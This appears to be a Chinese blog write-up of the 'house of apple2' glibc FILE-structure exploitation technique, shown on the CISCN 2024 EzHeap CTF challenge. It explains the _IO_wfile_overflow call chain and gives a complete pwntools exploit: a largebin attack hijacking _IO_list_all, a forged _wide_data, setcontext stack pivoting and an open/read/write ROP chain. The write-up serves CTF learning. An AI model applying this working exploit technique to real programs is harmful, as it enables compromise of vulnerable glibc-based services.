house of apple2

house of apple2

这里以CISCN 2024 初赛的Ezheap为例子

前置

_IO_wfile_jumps

const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT(xsputn, _IO_wfile_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_wfile_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
  JUMP_INIT(doallocate, _IO_wfile_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_wfile_jumps)

_IO_wide_data

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;	/* Current read pointer */
  wchar_t *_IO_read_end;	/* End of get area. */
  wchar_t *_IO_read_base;	/* Start of putback+get area. */
  wchar_t *_IO_write_base;	/* Start of put area. */
  wchar_t *_IO_write_ptr;	/* Current put pointer. */
  wchar_t *_IO_write_end;	/* End of put area. */
  wchar_t *_IO_buf_base;	/* Start of reserve area. */
  wchar_t *_IO_buf_end;		/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;	/* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;	/* Pointer to first valid character of
				   backup area */
  wchar_t *_IO_save_end;	/* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};

分析

_IO_wfile_overflow

保证函数的调用链如下:

_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)

详细分析如下:
首先看_IO_wfile_overflow函数

wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
    {
      _IO_wdoallocbuf (f);// 需要走到这里
      // ......
    }
    }
}

这里要走到_IO_wdoallocbuf,需要满足f->_flags & _IO_NO_WRITES == 0并且f->_flags & _IO_CURRENTLY_PUTTING == 0f->_wide_data->_IO_write_base == 0

然后看_IO_wdoallocbuf函数:

void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
             fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

这里要调用 _IO_WDOALLOCATE 函数 也就是 *call (fp->_wide_data->_wide_vtable + 0x68)(fp) 要把flag标志位置为 0

如果是 ~(2 | 0x8 | 0x800) 就不会执行 _IO_WDOALLOCATE 而是直接返回到_IO_wfile_overflow如下图:

image-20250626212925635

当flag为0时调用:

image-20250626223506969

这是要调用fp->_wide_data->_wide_vtable + 0x68,这里rdi的值是我们伪造的IO_list_all的chunk地址

image-20250626223345817

由于glibc-2.29以及之后setcontext是用rdx进行传参,而这里的rdx也在_IO_wfile_overflow+32被改为了我们的IO_wide_date_chunk 的地址。并且在后面没有对其进行过修改。

33e820d57a7b5e47c3570f7b6cbc3e80

image-20250626223306120

综上所述我们只需要改写:

  1. IO_list_all 中flag == 0;
  2. write_ptr>write_base (IO_list_all中的和IO_wide_date中的都要满足write_ptr>write_base);
  3. _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  4. _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  5. _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  6. _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C (一般设置为setcontext+61,来进行栈迁移)
  7. vtable设置为_IO_wfile_jumps

CISCN 2024 初赛的Ezheap

image-20250626224752968

如上图所示该题存在堆溢出漏洞,无其他漏洞。

通过largebin attack泄露libc和堆地址,劫持_IO_list_all。修改vtable_IO_wfile_jumps

然后修改_IO_wide_data,和_IO_wide_data->wide_vtable ,把IO_wide_data->wide_vtable+0x68 处的地址换成setcontext+61执行我们的ORW.

EXP(对部分代码做出了解释):

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')

pwnfile = "./EzHeap"
elf = ELF(pwnfile)
libc = ELF("./libc.so.6")


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} ==========================>>> {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))


def add(size,data):
	sla(b"choice >> ",b"1")
	sla(b"size:",str(size))
	ru(b"content:")
	s(data)


def free(idx):
	sla(b"choice >> ",b"2")
	sla(b"idx:",str(idx))


def edit(idx,size,data):
	sla(b"choice >> ",b"3")
	sla(b"idx:",str(idx))
	sla(b"size:",str(size))
	ru(b"content:")
	s(data)


def show(idx):
	sla(b"choice >> ",b"4")
	sla(b"idx:",str(idx))


def pwn():
    # 构造堆风水,泄露处 libc和heap的地址
	add(0x200,b"aaaa") #0
	add(0x410,b"aaaa")#1
	add(0x410,b"aaaa")#2
	add(0x420,b"aaaa")#3
	add(0x410,b"aaaa")#4

	edit(1,0x500,b"\x00"*0x418+p64(0x851))
	free(2)
	add(0x410,b"bbbb")#2
	show(3)

	main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-96
	libc_base = main_arena-0x21ac80
	IO_list_all = libc_base+libc.sym['_IO_list_all']
	io_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']
	setcontext = libc_base+libc.sym['setcontext']
	pop_rdi = libc_base+0x000000000002a3e5
	pop_rsi = libc_base+0x000000000002be51
	pop_rdx_r12 = libc_base+0x000000000011f2e7
	syscall = libc_base+0x91316
	pop_rax = libc_base+0x0000000000045eb0
	ret = libc_base+0x0000000000029139
	leak("libc_base",libc_base)

	#leak heap
	add(0x430,b"aaaa") #5
	edit(3,0x500,b"a"*15+b"b")
	show(3)
	ru(b"ab")
	heap_addr = u64(r(6).ljust(8,b"\x00"))-0x420*2-0x210
	leak("heap_addr",heap_addr)

	#利用large bin attack篡改_IO_list-all处的值为我们的chunk
	edit(3,0x500,p64(main_arena)*2+p64(0)+p64(IO_list_all-0x20))
	free(1)
	add(0x430,b"aaaa") 	#6

	#fake IO_list_all

	IO_wide_date_chunk = heap_addr+0x10
	fake_io_file = p64(0)*2
	fake_io_file += p64(0)+p64(1)+p64(0)
	fake_io_file = fake_io_file.ljust(0xa0-0x10,b"\x00")
	fake_io_file += p64(IO_wide_date_chunk)
	fake_io_file = fake_io_file.ljust(0xc0-0x10,b"\x00")
	fake_io_file += p64(1)
	fake_io_file += p64(0)*2
	fake_io_file += p64(io_wfile_jumps)

	edit(0,0x500,b"\x00"*0x200+p64(0)+p64(0x421)+fake_io_file)

	#fake wide_data
	edit(2,0x10,b"flag\x00\x00\x00\x00")
	open_file_chunk_addr = heap_addr+0x210+0x420+0x10		#这里是我们要打开的文件名所在的堆地址,是我所创建的chunk2
	ROP = flat(pop_rdi,open_file_chunk_addr,pop_rsi,0,pop_rax,2,syscall)
	ROP += flat(pop_rdi,3,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,pop_rax,0,syscall)
	ROP += flat(pop_rdi,1,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,pop_rax,1,syscall)


	Stack_migration_chunk = heap_addr+0x10		#

	fake_wide_date = p64(0)*3
	fake_wide_date += p64(0)	#write_base
	fake_wide_date += p64(1)  #write_ptr
	fake_wide_date = fake_wide_date.ljust(0x68,b"\x00")
	fake_wide_date += p64(setcontext+61)	#call fp->_wide_data->_wide_vtable + 0x68
	fake_wide_date = fake_wide_date.ljust(0xa0,b"\x00")
	fake_wide_date += p64(Stack_migration_chunk+0xe8) #这里是setcontext中的set rsp,把其设置为我们ROP所在的地址
	fake_wide_date += p64(ret)				#setcontext中有个push rcx ,rcx在0xa8处
	fake_wide_date = fake_wide_date.ljust(0xe0,b"\x00")
	fake_wide_date += p64(Stack_migration_chunk) #fake wide_vtable
	fake_wide_date += ROP
	

	edit(0,0x500,fake_wide_date)
    
	# gdb.attach(io,'b *_IO_wfile_overflow')
	sla(b"choice >> ",b"5")

	itr()



if __name__ == "__main__":
	while True:
		io = process(pwnfile)
		try:
			pwn()
		except:
			io.close()

image-20250626225333576

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值